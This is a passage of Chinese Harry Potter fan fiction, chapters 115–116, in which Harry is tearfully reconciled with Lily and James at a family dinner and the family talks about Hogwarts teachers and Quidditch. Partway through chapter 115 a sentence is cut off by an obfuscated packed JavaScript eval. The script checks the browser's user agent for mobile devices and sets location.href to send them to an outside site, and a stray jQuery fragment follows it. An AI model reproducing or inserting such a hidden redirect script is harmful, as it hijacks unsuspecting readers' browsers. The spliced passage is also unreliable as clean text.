“希望她能收集到很多美好的夜晚。” 客厅里安静下来,只有音乐盒的旋律还在轻柔地流淌。 “哈利……”莉莉的眼眶有些湿润,她伸手握住哈利的手腕,“这太美了,真的……她一定会珍爱它一辈子的。” “还有……”哈利迟疑了一下,俯身捧起最后一个包裹——一个长方形的盒子,外面包着深蓝色的天鹅绒布,布料上的保护咒文在微微闪烁。 他轻轻一挥魔杖,那些保护咒文便像蛛丝一样散开,消失了。天鹅绒布滑落,盒盖悄然打开。 银光从盒子里溢出,照亮了整个客厅。 那是一株美得令人屏息的花。那朵花散发着柔和的银光,半透明的花瓣在微微颤动,花心深处有金色的光点在游动。 莉莉的呼吸停住了,目光被花牢牢吸引。 “我在对角巷的一家花店看到的。”哈利的声音细若蚊呐,只是盯着那株花,“店主说它叫银辉百合,很稀有的品种……我觉得……” “我觉得它很漂亮。”他的耳朵和脖子都红透了,几乎是结结巴巴地说完,“就买下来了。不知道……你们会不会喜欢。” 他没说这是给谁的,只是捧着花盆站在那里,像个第一次送花的男孩般局促不安。 莉莉站起来,一步步地向哈利走来。 她走到哈利面前,绿眼睛里有什么东西在闪烁。她的目光从那株银辉百合移到哈利脸上,又移回去。 “我能……”她颤声问道,“碰碰它吗?” “当然,这是——”哈利停住了。那个词就在嘴边,但他说不出来。 “给你的。”他抬起头。两双一模一样的绿眼睛对视着。哈利的手在抖,但他还是把花盆递了过去。 莉莉接过花盆,手指也在颤抖。她低头凝视着那株花,一滴泪水无声滑落,恰好滴在一片花瓣上。花瓣突然亮了,银光从花心流向边缘,整株花洒下星星点点的光粉。 “它真美。”莉莉哽咽着说。她抬起头看着哈利,眼中盈满泪水,“我很喜欢。谢谢你,哈利。谢谢你。” 她转身看向詹姆斯——他不知什么时候站在了她身后。她看了他一眼,詹姆斯便伸出手,小心地接过花盆。 莉莉立刻转回身。她向前一步,张开双臂,将哈利紧紧地拥入怀中。 这个拥抱和昨天不一样。没有匆忙,没有绝望,也不再是伪装下的克制与恐惧。它温暖、用力,带着失而复得的剧烈颤抖。她将脸埋进哈利肩窝,泪水浸湿了他的袍子。 “我的孩子……”她在他耳边说,“我的哈利。” 哈利僵了一下。他抬起手回抱住她,将手轻轻地放在了她的背上。然后他的目光越过莉莉的肩膀,看向了詹姆斯。 他们的目光相遇了。 这一次,詹姆斯没有躲闪。他的嘴唇动了动,似乎想说什么,然而一再挣扎还是没能说出口。银辉百合的光芒映在他的眼镜片上,让哈利看不清他的眼睛。 哈利等着。他不知道自己在等什么。 终于,詹姆斯长长地呼出了一口气。那口气息带走了他全身所有的紧绷。 他对着哈利,极其郑重地点了点头。好像这已经是他能做的极限了。 但不知为什么,哈利觉得胸口有什么东西松动了一下。 “我闻到焦味了。”小天狼星的声音也带了点哽咽,他清了清嗓子,试图让语气显得轻松些,“真的,莉莉,你的烤鸡要变成木炭了。” 但没有人动。 银辉百合静静绽放着,闪亮的花粉在光晕中飘落。小天狼星不知何时已经退到了门边,安静地靠着墙;詹姆斯则捧着那盆花站在原地,目光落在那个拥抱上。 莉莉还在抱着哈利,抱得那么紧,好像要用这个拥抱填满二十四年的时光。 哈利闭上眼睛。他知道,他不是她失去的那个男孩,永远不会是。但在这一刻,在母亲的怀抱里,那些长久以来竖立在他心间的壁垒轰然坍塌。时间,身份,来处——统统失去了意义。他第一次感到自己回家了。 他就是她的儿子。 一直都是。 115. 家庭晚餐(中) 或许是因为那个拥抱留下的余温,餐桌上的气氛比哈利预想的要松快不少。莉莉坚持让哈利坐在自己身边,詹姆斯在他们对面,小天狼星自然而然地坐到了詹姆斯旁边。黛西的摇篮被挪到莉莉另一侧,小家伙睡得正香甜。 莉莉准备的晚餐相当丰富。烤鸡表皮烤得金黄酥脆,土豆泥堆成小山一样,烤蔬菜整齐地摆在椭圆形瓷盘上,面包则刚刚从烤炉里取出,还散发着温暖的香气。 小天狼星打开那瓶高地山精红,给每个人斟上一杯。“梅林的胡子!”他举起杯子晃了晃里面那深红色的酒液,发出由衷的赞叹,“这酒可真不赖,哈利。那些小家伙虽然贪财,酿酒的手艺倒是一流。” “尝尝这个。”莉莉将最嫩的那块鸡胸肉切下来放到哈利盘中,“我不太清楚你的口味,就每样都做了一些。” “谢谢。”哈利赶紧咬了一口,鲜嫩多汁的味道确实很棒。 “多吃点吧,我总觉得你有点瘦。霍格沃兹的教书生活还顺利吗?”莉莉问,语气透着小心翼翼。 “挺好的,”哈利答道,“除了改作业让人头疼。” 詹姆斯手上的刀叉顿了一下。“很糟糕?”他盯着盘子小声问道。 “倒不是糟糕,而是他们太有创意了。”哈利苦笑着摇头,“今天早晨我刚批改完七年级的论文,题目是‘夺魂咒的防御与反制’。有位拉文克劳的学生建议对施咒者使用迷糊咒,这样对方就会忘记自己正在控制谁。” 小天狼星正举杯喝酒,听到这里忍不住呛了一口:“迷糊咒?对抗夺魂咒?” “这还不算最离谱的,”哈利继续说,注意到詹姆斯虽然仍然低着头,但嘴角微微扬了起来,“一个赫奇帕奇坚持认为在被施咒之前,先给自己施一个混淆咒,这样施咒者就没法控制一个已经混乱的大脑。” “那他怎么恢复正常?”莉莉笑了起来。 “所以我在旁边批注:‘你打算怎么带着混乱的大脑参加N.E.W.T.s考试?’” 这下连詹姆斯都忍不住发出一声短促的笑声,虽然很快就掩饰性地咳嗽了几声。 “你这样批注,学生不会哭吗?”莉莉摇着头。 “我最后还是给了及格,”哈利耸了耸肩,“毕竟想象力也是一种能力。” 餐桌上的气氛逐渐变得轻松。哈利发现,只要他不直接去看詹姆斯,对方便能更自然地参与对话,尽管大多时候只是一两句短暂的附和,或者夹杂着几声稍显生硬的笑。 “说起来,宾斯教授还在教魔法史吗?”莉莉切开胡萝卜,“我猜他还在用那种催眠一样的语调讲妖精叛乱史?” “一字不差。”哈利笑了笑,“而且他似乎还没注意到,教室里的学生早已换了几十拨了。” 之后的聊天顺畅许多。他们谈到弗立维教授——“他现在一心扑在决斗俱乐部上,你们见过他在都灵决斗大赛拿的奖杯吗?”谈到热衷预言死亡的特里劳妮——“我当初占卜课作业胡编乱造,每个月给自己安排一场血光之灾,她给的分数还挺高的。”还谈到了斯普劳特教授那些危险的植物。 “斯普劳特教授一直都对她那些动不动就咬人的植物很痴迷。”小天狼星忽然想起了什么,转向詹姆斯说,“你还记得那次打赌吗?” 詹姆斯的脸色微微变了:“哪个打赌?” “就是草药课上那次,你被毒触手抓住——” “那不是我的错!”詹姆斯马上辩解,随即意识到自己声音有些过大,便又低了下来,“是你非要打赌说我不敢去戳那个最大的花苞。” “可你连咒语都忘了念,最后还是莉莉救了你。”小天狼星得意地说。 莉莉摇了摇头,显然不想加入这场老朋友的争执,很快又将注意力转回哈利身上:“你刚刚说,海格要当教授了?” “邓布利多正在考虑让他教授神奇动物保护课,”哈利解释道,“他肯定会非常高兴的。我三年级开始就是由他来上的。” “可怜的孩子们,”小天狼星夸张地叹气,“海格是个好人,但我敢打赌,他第一堂课就会带学生们去见点危险生物,比如龙之类的。” 小天狼星的玩笑话离真相过于接近了。哈利立马想起了当初藏在海格小屋里的那条挪威脊背龙诺伯,以及三强争霸赛上那头差点把他烤熟的匈牙利树蜂龙,还有古灵阁地下那条半瞎的乌克兰铁肚皮。但他是绝对不会告诉现在关系刚刚缓和的父母,自己一年级就帮忙把龙偷偷送出了霍格沃兹,从那头暴怒的龙眼皮底下偷走过金蛋,更别提骑在龙背上成功逃离了古灵阁。他那些与龙有关的经历,没有一件适合拿出来当作趣闻来讲。 “鹰头马身有翼兽。”哈利最后只是无奈地笑笑,挑了个没那么吓人的故事说,“不过确实有个学生被抓伤了。这次我会提前提醒他一下。” 桌上的三人同时露出了“不出所料”的表情。 短暂的安静过后,莉莉像是想起了什么,叹了口气,语气带着怀念:“转眼间我们都毕业十几年了,教授们也换了好几个。哦,对了,还有斯拉格霍恩教授……” “他倒是个不错的人,只不过太热衷于收集有潜力的学生。你们还记得他退休前办的那个鼻涕虫俱乐部吗?” “当然记得,”小天狼星嗤笑一声,整个人懒洋洋地向后靠去,双手枕在脑后,“他总是钟爱那些家族显赫的孩子。” “也不完全是,”莉莉替老教授辩护,“我记得他的俱乐部里也有不少麻瓜出身的学生,我自己就是个例子。” 她稍稍停顿了一下,表情有些遗憾:“不过,他却不怎么喜欢西弗勒斯,明明他的魔药天赋也非常高。” 哈利正端起酒杯抿了一口,听到斯内普的名字时,一口酒就这么不上不下地呛在了喉咙里。他剧烈地咳嗽起来,脸涨得通红,眼泪都快咳出来了。 “哈利?”莉莉担心地拍着他的背。 “没、没事——”哈利一边咳一边摆手,脸上仍是通红。 “看在梅林的份上,莉莉!”小天狼星的脸色阴沉下来,“你干嘛非要提那个鼻涕精!” 莉莉皱了皱眉头:“小天狼星,我真不明白,为什么过了这么多年你还对他有这么大的偏见——” “这跟多少年没关系!” “他现在是霍格沃兹的魔药教授。”莉莉不赞同地看着他,“而且据我所知,他帮了哈利不少忙。” “帮哈利?”小天狼星鼻子里哼出一声,“那是因为——” “其实,”哈利终于缓过劲来,赶紧插话,“斯拉格霍恩教授也教过我一年,在六年级的时候。” 这成功转移了注意力。莉莉惊讶地看向哈利:“斯拉格霍恩教授回来了?他不是说过要好好享受退休生活的吗?” “邓布利多说服他回来的。”哈利解释道,心里暗暗松了口气。 小天狼星立即抓住了重点,幸灾乐祸地问:“怎么?斯内普终于因为教得太烂,被邓布利多赶走了吗?” “不是,”哈利揉揉额头,知道这个话题躲不过去了,“西……内普,那年改教黑魔法防御术了。” “你说什么?”小天狼星的声音一下子拔高了。 “就一年。”哈利飞快地说道,感觉连脖子后面也开始冒汗了。他必须赶紧把话题引开,“说到黑魔法防御术课,你们听说过吉德罗·洛哈特吗?哦,对了,小天狼星上次见过他。” “当然!”莉莉的注意力一下子被吸引过来了,“我读过他的全部著作!《与女鬼决裂》《与食尸鬼同游》《与吸血鬼同船旅行》——每一本都精彩极了!” 哈利在心底默默感谢梅林。尽管洛哈特是个十足的骗子,但此刻他的名字却再好用不过了。 “那个花孔雀?”小天狼星翻了个白眼,一时间忘记了斯内普,“上次决斗俱乐部的启动仪式上,他连个像样的铁甲咒都施不出来,直接昏迷了整场活动。” “是不是有什么误会?”莉莉为她的偶像辩护,“他可是梅林爵士团三级勋章获得者,还连续五次获得《巫师周刊》最迷人微笑奖——” “最迷人微笑奖?”詹姆斯低低地哼了一声,语气听起来有些发酸,“原来你喜欢的是这种巫师?” 莉莉的脸颊微微发红:“我不是那个意思。只是他书里写的那些经历,都那么惊心动魄。” “全是偷来的。”哈利直截了当地拆穿了洛哈特的真面目。 三双眼睛同时转向了他。 “他最擅长的咒语是一忘皆空,”哈利解释,“那些冒险经历都是别人的。他只是偷走了别人的故事,再清除那些真正英雄的记忆。” 餐桌上安静了几秒钟。 “我就知道!”小天狼星得意地扬起头,“第一次见到他那身骚包的丁香色长袍时,我就知道他肯定不是什么正经巫师。” 莉莉脸上那点崇拜的神色一下子没了,看起来深受打击:“可是他的书写得那么生动……” “文笔确实不错。”哈利坦率地说,“只可惜内容都是偷来的。我二年级时,他是我的黑魔法防御术教授,整整一年,我们几乎什么实用的都没学到。” “那三年级又换了谁?”莉莉语气泄了气似的问,“总不会比洛哈特还糟吧?” “是莱姆斯。”哈利微笑起来。 这个名字瞬间改变了餐桌上的氛围。 “莱姆斯?”詹姆斯总算抬头直视哈利,眼中流露出毫不掩饰的惊讶。 小天狼星一下子直起身子,双手从脑后放下来撑在桌子边缘,瞪大了眼睛看着哈利:“我们的月亮脸去教黑魔法防御术了?” “他是我遇到过最好的黑魔法防御术教授,”哈利真诚地说道,“他的课有理论、有实践,真正教会了我们如何保护自己。” 小天狼星又靠了回去,眼神飘向远处,似乎沉浸在回忆里:“莱姆斯学咒语的速度确实快,他的黑魔法防御术课每次都是‘O’。而且,他还是我们几个当中第一个召唤出完整守护神的,詹姆斯,你记得吗?他的守护神是一头狼,我们当时还觉得挺讽刺。” 詹姆斯完全没有回应小天狼星。他的目光仍然停留在哈利脸上,声音低了下来:“三年级。摄魂怪。” 哈利愣了一下,一时有点反应不过来。詹姆斯怎么会知道? “小天狼星的记忆,”詹姆斯似乎猜到了他的疑问,简单解释了一句,“你的守护神咒,是莱姆斯教的吗?” 这个问题太突然,哈利张了张嘴,不知道该怎么回答。莉莉诧异地看着丈夫,小天狼星则懊恼地闭上了眼睛。 哈利犹豫片刻,才轻轻答道:“是的……” 小天狼星张开嘴,好像想说点什么,但余光扫过詹姆斯的神色后,又沉默地闭上了。餐桌上出现了一种说不清的安静。 “怎么了?”莉莉察觉到气氛的变化,疑惑地开口。 “没什么,”小天狼星回话,语气不太自然,“只是……”他最终还是没把话说完。 “是关于守护神的事吗?”莉莉看了看詹姆斯,又看了看哈利,“哈利,你的守护神是什么形态?” 哈利感觉嗓子有些发紧。如果他告诉他们自己的守护神—— “牡鹿。”詹姆斯突然说了出来。他的眼睛有些发红,“对吗?” 哈利呼吸一滞。他预想过无数种自己说出答案后詹姆斯的反应,却没料到会由詹姆斯先开口。 他在一瞬间明白了前因后果——他们昨晚都在校长办公室,看到了他派去报平安的守护神。 “你们都看到了。” “对。”小天狼星柔声回答,“那头银色牡鹿出现的时候,詹姆斯他……” 詹姆斯放下刀叉的声音打断了小天狼星未说完的话。 “牡鹿?”莉莉惊讶地望着哈利,又望向詹姆斯,“就像你的——” “是的。”詹姆斯替哈利回答了,“和我的一模一样。” 他拿起酒杯灌了一口,再次看向哈利,“你三年级就学会了守护神咒?”他提问的语气听起来有些奇怪。 哈利点点头,心中浮起一丝期待。詹姆斯主动问起,是不是意味着—— 但詹姆斯只是继续默默喝酒,目光停留在杯中晃动的酒液上,看不出更多的情绪。 “梅林啊……”小天狼星喃喃道,“多少成年巫师一辈子都召唤不出完整的守护神。牡鹿的形态……是莱姆斯告诉你的吗?关于尖头叉子的事?” 哈利摇摇头,“我第一次召唤出完整的实体守护神之前,完全不知道它会是什么样子。直到后来,我才问了莱姆斯……” 他停顿了一下,看了一眼詹姆斯,发现对方依旧没有抬头,心里忽然空落落的。他只好移开视线,声音也低了下去:“总之,莱姆斯确实是一位很好的老师。” 接下来的谈话又开始变得生涩。詹姆斯再度陷入沉默,这份安静沉甸甸地压在桌上,让气氛无论如何也无法真正轻松起来。他们没有继续谈论霍格沃兹的教授们,莉莉似乎想问哈利更多关于他的事情,又好像不知从何问起。哈利察觉到了母亲的犹豫,主动挑了几个校园里的趣闻来讲。所有人都努力维持着表面的自然,但那头银色牡鹿的影子始终盘旋在餐桌上空。 然而,詹姆斯之前那种奇怪的态度,却让哈利心中燃起了一丝隐约的希望。他主动让自己回家,是因为看到了守护神吗?或许他并没有表现出来的那么冷漠,或许…… “其实,我毕业后,原本并没有选择留在霍格沃兹当老师。”哈利开口说道,仔细观察着他们的反应,“我去了魔法部。” 他的这句话成功地勾起了大家的好奇心。 “魔法部?”莉莉率先问了出来,“哪个部门?” 他迎着三双探究的目光:“我成为了一名傲罗。” 哈利看着他们。莉莉的手下意识地掩住了嘴,眼中满是震撼。小天狼星的下巴几乎要掉到盘子里。但哈利的目光只是飞快地扫过他们,最终径直落在了詹姆斯身上。 詹姆斯怔怔地盯着他,嘴唇动了动又合上,眼睛眨得飞快。“傲罗……”他干涩地重复了一遍,像是在确认自己没有听错,“那不是一个轻松的职业。” “我知道。”哈利望着詹姆斯,那丝微弱的希望推动着他冒险说出更多,“我从一开始就明白,但我一直很向往。而且——” “在回到这里之前,我刚刚……”哈利深吸一口气,下定决心将这场豪赌进行到底,“被任命为傲罗司司长。” 詹姆斯的手肘撞倒了酒杯。深红色的液体在白色桌布上慢慢晕开,而他却浑然未觉。他死死地盯着哈利,脸色逐渐变得苍白。 “司……”他声音沙哑地开口。 “司长?”小天狼星替他说出了后半句,满脸难以置信,“傲罗司司长?你那时候才多大?” “二十二岁。”哈利小声回道,又飞快地补充,“不过那是因为战后重建,特殊时期,部里需要人手——” “梅林的胡子!”小天狼星激动得声音都有些发颤,他甚至伸手抓住了詹姆斯的胳膊,“詹姆斯,你听到了吗?你的儿子,二十二岁的傲罗司司长!” 但詹姆斯已经骤然起身,动作剧烈到椅子都翻倒在地。餐桌上的每个人都被这突如其来的声响吓了一跳。 过了好几秒,他才仿佛意识到自己的失态,努力稳住情绪,低声说道:“我想起来……花园的花还没浇水。” 说完,他转身快步离开了餐厅,脚步甚至有些不稳。 “詹姆斯!”莉莉想要起身。 “让他去。”小天狼星伸手按住了她,随即叹了口气,起身拍了拍哈利的肩膀:“我去看看他。你们继续吃。” 他大步追了出去,留下不知所措的莉莉和哈利。 餐厅重新安静下来。哈利茫然地望着詹姆斯离开的方向,胃在下坠,仿佛被塞进了一块石头。他搞砸了。他似乎总是在搞砸和父亲有关的一切。 他本以为,詹姆斯看到他的守护神后会有所触动,也许并不是对他真的漠不关心。 如果詹姆斯知道自己选择了一条与他相同的道路,甚至达到与他相同的成就,会不会更快地改变对自己的态度?甚至,为自己感到骄傲? 哈利曾经无数次幻想过这个场景。如果他的父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156453|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲还活着,听到他的成就时,也许会大笑着拍他的肩膀,对别人炫耀:“看啊,不愧是我的儿子!”他所期盼的,仅仅是这样一句简单的认可,一句“干得漂亮,儿子”。 然而现实是,他得到的只有一把翻倒的椅子,还有詹姆斯仓皇逃开的背影。他又一次把事情弄得更糟了。 摇篮里传来一阵轻微的骚动,是黛西醒了。小家伙大概是被刚才的动静惊醒的,哼哼唧唧了几声,很快变成了细细的哭声。 “我来吧。”莉莉正准备起身,哈利却先一步站了起来,机械地走到摇篮边。 “嘿,小公主。”他轻声哄着,熟练地将黛西抱进怀里,“吵醒你了?” 小家伙眨着泪汪汪的眼睛,小手紧紧抓住他的手指。这个简单的动作,却让哈利一阵鼻酸。 “她饿了。”莉莉走了过来,将奶瓶递给哈利,“你想试试吗?” 哈利轻轻点了点头。他接过奶瓶,调整了一下角度。 “对,就是这样。”莉莉的手搭在哈利的手背上,“她喝得急的时候,要稍稍控制一下。” 黛西满足地吮吸着奶瓶,完全不知道刚才发生了什么。 餐厅里很安静,只能听见黛西吃奶时发出的轻微响动。莉莉坐在哈利身边,目光落在他专注的侧脸上。 “哈利。”她轻声开口。 “嗯?”哈利没有抬头。 “詹姆斯他……”莉莉踌躇着,似乎在寻找合适的词,“这四个月对他来说很艰难。” 哈利没有说话,只是微微调整了一下怀中黛西的位置。 “他经常会独自待在书房里。”莉莉继续说道,视线落在黛西的小脸上,“有几次我醒来,发现他还在那里,什么也没做,只是一晚没有睡。” “我一开始以为,他只是一时难以接受……”她抬手捂住了嘴,好一会儿才继续说下去,“在这件事上,可能他比我承受了更多。直到后来我才知道,他是在惩罚自己。用疏远你来惩罚自己。他觉得如果他接受了你,就等于……” 她没有说完,但哈利明白她的意思。 “我理解。”哈利说,“真的。” “不,这不是我想说的。”莉莉摇头,泪水在眼眶里打转,“我太了解你的父亲了。哈利,你知道他当年为什么想当傲罗吗?” 哈利抬起头看向她。 “是为了保护我们。”她的眼泪已经流下来,“在经历那一夜之后,他就下定决心成为傲罗,为了保护你。可是现在他发现,你独自面对了那么多的危险,在没有父母保护的情况下,取得了这么大的成就,而他……却什么都没能为你做。你不明白这对他来说有多难过。” 哈利抱着黛西的手臂不自觉地收紧了一些。 原来是这样吗? 他脑海中浮现出詹姆斯苍白的脸,以及刚才他匆忙离去的背影。 他以为自己又一次被拒绝了,以为自己又做错了什么。可他从来没想过,詹姆斯一直承受着那种无能为力的痛苦。 莉莉停下来,用手背擦了擦眼角。 “所以,哈利,他不是在生你的气。”她伸手握住了哈利的手,“刚才看到他那样子,我才明白——这四个月来,他每天都在挣扎着什么。不是和你,是和他自己。” 哈利重新低下头,看着怀里黛西纯真的小脸,心中五味杂陈。 门外传来了脚步声。哈利抬头望去,看见詹姆斯站在门口,小天狼星就站在他身后。 詹姆斯的眼睛红肿,头发乱糟糟的。他的手搭在门框上,目光有些躲闪,不敢直视他们。他的视线从摇篮移到哈利怀中的黛西身上,最终才缓缓抬起,像是下定了极大的决心,迎上了哈利的目光。 “哈利。”他开口说道,嗓子哑得不行。 哈利默默望着他,詹姆斯的声音好像从很远的地方飘来,又好像就近在耳边。 “二十二岁的傲罗司司长。”詹姆斯继续说,“而我二十二岁时,才刚刚决定要成为一名傲罗。” 没人说话,所有人都只是静静注视着他。 詹姆斯走进来,每一步都像是在对抗什么。他在哈利面前停下。 “我欠你一个道歉。不,不只是道歉。”他的手攥成拳头,“我是个懦夫,哈利。彻头彻尾的懦夫。” “你不是——” “我是。”詹姆斯打断他,“我明知道你就在这里,明知道……你需要一个父亲,但我却选择了逃避。因为面对你,就等于面对自己的失败。” 他的声音渐渐颤抖起来:“看着你,我脑子里只有一个念头——如果我能再强一点,能够更好地保护……” “别说了。”哈利打断了他,怀里的黛西有些不安地动了动。 “让我说完,”詹姆斯没有再移开目光,“当我看到你的守护神是一头牡鹿,当我听到你成为傲罗,成了司长——我终于明白,我不只是失去了一个儿子,我还在亲手推开另一个。” 他的话越来越艰难:“我本来是有机会的,但这四个月,我却把所有的愤怒和痛苦都……”他用力吸气,眼眶已经通红,“只要不去面对你,我就能假装一切都没有发生,就可以不用再尝到那种痛苦。” “我成了自己最厌恶的那种人,成了一个彻底失败的父亲,错过了认识你、为你骄傲的每一次机会。”詹姆斯完全哽咽了,“哈利,我……还有机会吗?” 哈利望着眼前的这个男人——这个在另一个世界为保护他而牺牲、却在这个世界里拼命逃避他的父亲,如今正请求着他的原谅。 “我从来没有怪过你。”哈利听到自己说,声音同样在颤抖,“你不用道歉。真的不需要。” 詹姆斯像突然失去了支撑的力量,他扶着椅背,眼泪终于无声滑落。 “我需要。”他固执地摇头,用袖子粗鲁地擦掉脸上的泪,“不是为了让我好受,而是因为……你值得听到我亲口说出这句话。” 詹姆斯缓缓伸出手,轻轻地搭在哈利肩上。 “对不起,”他哽咽着,那个词仿佛在嘴边转了很久,终于艰难地说出,“儿子,我真的为你骄傲。” “儿子”这个词落地的瞬间,詹姆斯自己都愣住了。而哈利则僵在了原地,感觉眼眶迅速发热,却一句话也说不出来。 詹姆斯的手在哈利肩头收紧,又很快松开了,转身狼狈地抹着眼睛。 莉莉走过去,从背后紧紧抱住詹姆斯。她什么都没说,只是把脸贴在他的背上。詹姆斯肩膀剧烈地抖动着,好一阵子才慢慢转过身来。莉莉一只手仍搂着他,另一只手温柔地放在哈利的手臂上。他们三个人围着黛西,形成了一个不完整却又真真切切的拥抱。 小天狼星靠在门框上,用袖子狠狠擦了把脸。“该死的。”他低声嘟哝,“我就知道今晚会变成这样。” 他走过来,把他们都圈进一个熊抱里。松开手时,他用力吸了吸鼻子,看着重新聚在一起的一家人,露出了一个比哭还难看的笑容。 “这才像个家的样子。” 黛西在哈利怀里发出满足的咕噜声,奶瓶已经空了。她的小手还抓着哈利的手指,小眼皮也开始一点点垂下来。 “我们回餐桌吧。”莉莉擦干眼角最后的泪水,“晚餐还没吃完呢。” 詹姆斯的眼睛还是红的,但神情已经柔和下来。他注视着哈利,嘴角扬起一个略显笨拙却真诚的笑容。 “是啊。这是你妈妈花了一整天为你准备的晚餐。”他顿了顿,像是在品味刚才说出的那个词:“为了我们的儿子。” 暖意涌上哈利的心头,他对着父亲回以一个微笑,那双和莉莉一样的绿眼睛异常明亮。他低头看了一眼怀中睡着的妹妹,小心地将她放回摇篮。大家重新围坐在餐桌旁,南瓜馅饼的甜香驱散了空气中最后一点悲伤。气氛已经完全不同了。 小天狼星拿了一个新的酒杯给詹姆斯,并倒满了所有人的酒杯。他站起身,高高举起酒杯。 “我原本想说一堆话。”他的目光扫过在座的每一个人,露出一个再灿烂不过的笑容,“但现在,我只想说——” “为哈利回家!” 116. 家庭晚餐(下) 一切都像在梦里一样。 哈利静静地坐在那里,向后靠着椅背,目光有些失焦地望着眼前的一切。橘黄色的灯光温柔地笼罩着整个餐厅,他能听见莉莉轻柔的笑声,能看到詹姆斯逐渐放松下来的肩膀,也能清晰地感受到小天狼星的大笑声里,那股让胸口都微微发麻的快乐共鸣。 如此普通的家庭场景,却让哈利觉得自己仿佛置身梦境。他明明已经坐在这张餐桌前很久,吃了不少东西,聊过了不少话题,可直到现在,他才觉得那颗忐忑的心落到了实处。 他真的在这里,和他的父母坐在一起,作为波特家的一员。即使是在刚回到这个时代的时候,他也从未敢奢望过这样的场景。 在他十一岁的那个圣诞节,他独自坐在厄里斯魔镜前,镜中的父母也曾这样微笑地望着他,可他永远触碰不到,永远听不见他们的声音。那时他贪婪地注视了他们好几夜,直到邓布利多将他带走。 现在却不同了。莉莉的手不时覆在他的手背上;詹姆斯正望着他,眼神里仍带着几分小心翼翼,但停留的时间更久了,也不再刻意回避。他们注视的是哈利·波特,他们的儿子,而不再是那个名叫哈利·佩弗利尔的陌生年轻人。 这种触手可及的真实反倒令他生出一丝不安,生怕下一秒便会突然惊醒,发现自己还躺在霍格沃兹的宿舍里。 “哈利,再来点土豆泥吗?”莉莉的声音将他拉回现实,还没等他回答,一大勺土豆泥便已落进他的盘子。 “我已经——”他张嘴想推辞,莉莉又快速叉了一个鸡腿放过来。 “我还是觉得你太瘦了。”她皱着眉头打量他,“是不是霍格沃兹的伙食变差了?” “不,恰恰相反,”哈利赶紧替家养小精灵们澄清,“伙食还是一如既往的丰盛。只是我——” “那你就多吃点,”莉莉不由分说地又给他添了些烤蔬菜。“今天准备得有点仓促,下次我给你做牧羊人派吧。”她兴致勃勃地提议道。 “哦,梅林的胡子!我都多久没吃过了!”小天狼星立刻兴奋地叫了起来,他用叉子指着莉莉,对哈利说,“莉莉的牧羊人派!哈利,你一定要尝尝,绝对是传奇!我当年愿意用我的飞天扫帚换一块!” “你明明只是说愿意用你的扫帚柄,”詹姆斯在一旁纠正,随即转向哈利,轻咳了一声,努力让语气显得随意,“说起来,你学生时期在霍格沃兹打魁地奇吗?是哪个位置?” 詹姆斯问这个问题时,哈利正努力消灭盘子里堆积成小山的食物。他惊讶地抬起头,发现父亲摆出了一副极想亲近的姿态,目光灼灼地望着自己。他正准备回答,却被旁边小天狼星挤眉弄眼的举动吸引了目光。 只见他又是挤眼,又是用下巴努向詹姆斯,最后还摊开双手,嘴巴无声地开合着,像一出乱糟糟的滑稽独角戏。 哈利皱着眉试图辨认教父的口型,只觉得对方的动作越来越夸张,让人摸不着头脑。他隐约猜测小天狼星可能是在说“他知道了”,或者“他看过”,又实在不确定。 詹姆斯似乎也注意到了旁边的动静,转头给了好友一个警告的眼神。小天狼星立刻收敛了表情,装作若无其事地端起酒杯,可嘴角还是挂着一丝看好戏的坏笑。 哈利莫名其妙地望着教父,完全没搞清楚他到底想暗示什么。不过他很快便将注意力重新放在詹姆斯的问题上,毕竟这是今晚父亲头一次用这么自然轻松的口吻向他发问,就像任何一个普通的父亲对自己的儿子那样。 “打过,”哈利点点头,“我是找球手。” “嗯,找球手。”詹姆斯对这个答案似乎毫不惊讶。他重复了一遍,不自觉前倾的身体暴露了兴趣,“二年级就入队了?” “一年级。” 餐桌上静了下来,小天狼星刚叉起的面包差点掉回盘子里。 “一年级?”两个成年男人异口同声地叫道。 “麦格居然允许你破格入队?”詹姆斯难掩惊讶与羡慕,“她当年可是对我说过‘规定就是规定,波特先生,哪怕你能倒挂在扫帚上抓金色飞贼也不行’——” “到底是什么事让麦格那个老顽固破了例?”小天狼星整个人几乎要趴到餐桌上。 哈利耸耸肩:“就是追回了纳威——我是说,我同学的记忆球。当时有个斯莱特林学生抢了东西,我追了上去,然后……” “然后呢?”两个男人同时向前探身,目光热切地望着哈利。 “五十英尺俯冲。”哈利简单地说。 莉莉惊恐地捂住了嘴。而另外两人则互相对视了一眼,嘴角同时浮现出骄傲的笑意。 “不愧是我儿子,”詹姆斯拍了下桌子,背挺直了一些,语气里是藏不住的自豪,“我当年也是格兰芬多的追球手,整个格兰芬多最好的——” “第二好的,”小天狼星顿时板着脸纠正道,“第一好的是我。” “你是击球手!”詹姆斯转头瞪他,“这完全是两个位置!” “优秀不分位置!”小天狼星振振有词,“而且别忘了,当年和斯莱特林决赛时,是谁一游走球砸中了他们找球手的屁股,让我们赢得了冠军?再说如果不是我帮你扫清障碍,你能进那么多球?” “那是犯规!霍琦夫人当场吹哨了!”詹姆斯回击,“而且你的游走球差点砸到我的脑袋!” “细节不重要,”小天狼星挥挥手,“总之,我们赢了。” —————— 也许是谈到了钟爱的魁地奇,詹姆斯明显整个人都松弛下来,仿佛又变回了那个霍格沃兹里意气风发的少年。很快,他们的话题从查德里火炮队的战术一路聊到塔特希尔龙卷风队近期的表现,最后不可避免地提到了魁地奇世界杯。 “这么说,两年后又是世界杯了,”詹姆斯举起酒杯抿了一口,望向小天狼星,“你觉得这次英格兰队有机会进决赛吗?普德米尔联队新引进了个天才追球手,据说很有潜力代表英格兰出战。” “难说,”小天狼星摆摆手,显然不抱希望,“咱们多少年没进过决赛了?上届世界杯你没看吗?击球手像没头苍蝇满场乱窜,根本没人保护找球手,更没人给追球手开路!那个倒霉蛋光躲游走球都来不及,还指望他去抓金色飞贼?” 哈利听了半天,终于还是忍不住插了一句:“确实别抱太大期待比较好。” 